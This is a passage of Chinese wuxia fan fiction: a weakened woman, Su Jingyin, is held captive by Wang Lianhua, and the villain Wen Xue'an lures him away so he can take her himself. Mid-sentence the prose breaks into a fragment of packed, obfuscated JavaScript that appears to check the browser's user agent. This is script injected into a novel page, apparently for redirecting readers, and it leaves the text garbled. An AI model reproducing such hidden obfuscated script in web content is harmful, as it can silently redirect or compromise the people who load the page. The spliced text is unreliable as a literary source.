但那个客栈里,一个初出江湖的毛头小子,竟也能得她那般专注的目光。 有其他人在的时候,她的眼里,好像就完全看不见他了。 真是不乖呢。 在夜里奔波半宿,此时王怜花的指尖略显寒凉,轻轻触在苏镜音的脸上,令她忍不住微微颤栗了起来。 她其实是能动的,只是提不起半分气力,也与动弹不得相差无几了。 指尖划过眼尾,睫下一点泪痣,乍然间,映漾起了一抹绯红。 王怜花眉头微动。 他的指尖蜷了蜷,再度拂过那颗小小的泪痣,果不其然,比方才更显嫣红。 他正待细看,门外却忽然传来一阵叩门声。 是他的手下。 若无要事,绝不会在这种时候来打扰他。 王怜花起身出门,苏镜音一口气才松到一半,却见他又很快返了回来。 他看着好像有些不高兴,伸手为她盖好被子,又抚了抚她的鬓发,柔柔说道,“小可爱,有两条尾巴没扫干净,我去去就回。” 苏镜音眨了眨眼。 没关系,其实你也可以不用回的。 王怜花自然看懂了那双眼里的意思。 但他却没像之前那样,非得再说几句找回场子,只笑了笑,屈指勾了下她的鼻尖,留下一句“很快回来”就疾步离去,走前还特地关好了屋门。 但他并未挂锁,他知道,以她如今这副绵软无力的模样,她逃不了的。 王怜花才走了不到半盏茶时间,门外就传来了些微响动。 吱呀一声,房门被人推了开来。 苏镜音以为他又回来了,下意识偏头望了过去。 但看到的,却不是她以为的王怜花。 那是一个高高瘦瘦的青年男子,脸色白得异常,若说她兄长是常年病灶缠身的苍白,这瘦高个子就是长年不见阳光的白,再加上他穿了一袭银灰色长袍,更衬得面色灰白,好似铺了一层粉尘般。 若是王小石在这里,他定能认出来,这也是他在市集上所遇见的人。 不仅如此,王小石记下卖解班子所住的客栈后,觉得这瘦高个子有点不对劲,更是掉头想要查探他的底细,但最后,却只追踪到了十二具尸体。 那十二个死者身上,皆带有委任状或手令,全都是潜藏于平民之中的六扇门捕快与差役,似乎也是在追踪那瘦高个子,但很显然,这么多人加起来,也根本不是他的对手,全都被一剑毙命灭了口。 说起来,此人与王小石还算是同门。 韦青青青创派自在门,门下收了四个弟子,大弟子是「懒残大师」叶哀禅,二弟子是「天衣居士」许笑一,三弟子便是如今的当朝太傅,兼任十八万御林军总教头的「六五神侯」诸葛正我,而四弟子「元十三限」元限,早就与其他几个师兄撕破了脸,如今已投靠了奸党蔡京。 文雪岸师承元十三限,亦是蔡京手下的一条好狗,他为人残忍好斗,却是元十三限最喜爱的弟子,得其秘传不少绝学,武功极为高强。 若非如此,他也不能暗中窥探至此刻,故意留下线索,引来追踪的王小石与白愁飞二人,将向来心思极为缜密的王怜花,从这绝世的美人身边,调虎离山。 黄鹤楼外,世间绝色现于人前,只是一眼,那抹烟紫罗裙之下,就跪倒了几许英雄,几多枭雄。 文雪岸自认枭雄,他向来自傲,不堪忍受与绝色美人仅此一面之缘,他不是王怜花,他也没有王怜花那般的耐心,以及怜香惜花之心。 私藏赏玩也好,囚作禁脔也罢,他的想法简单粗暴,他只想长长久久得到这个美人。 文雪岸目光当中的恶意,几乎化作实质,扑面而来。 只一眼,苏镜音后背陡然泛起一阵寒意。 她的手绵软无力,却还是禁不住,害怕得攥紧了衾被。 她看得出来,这人和王怜花完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一袭白衣,掠风而来。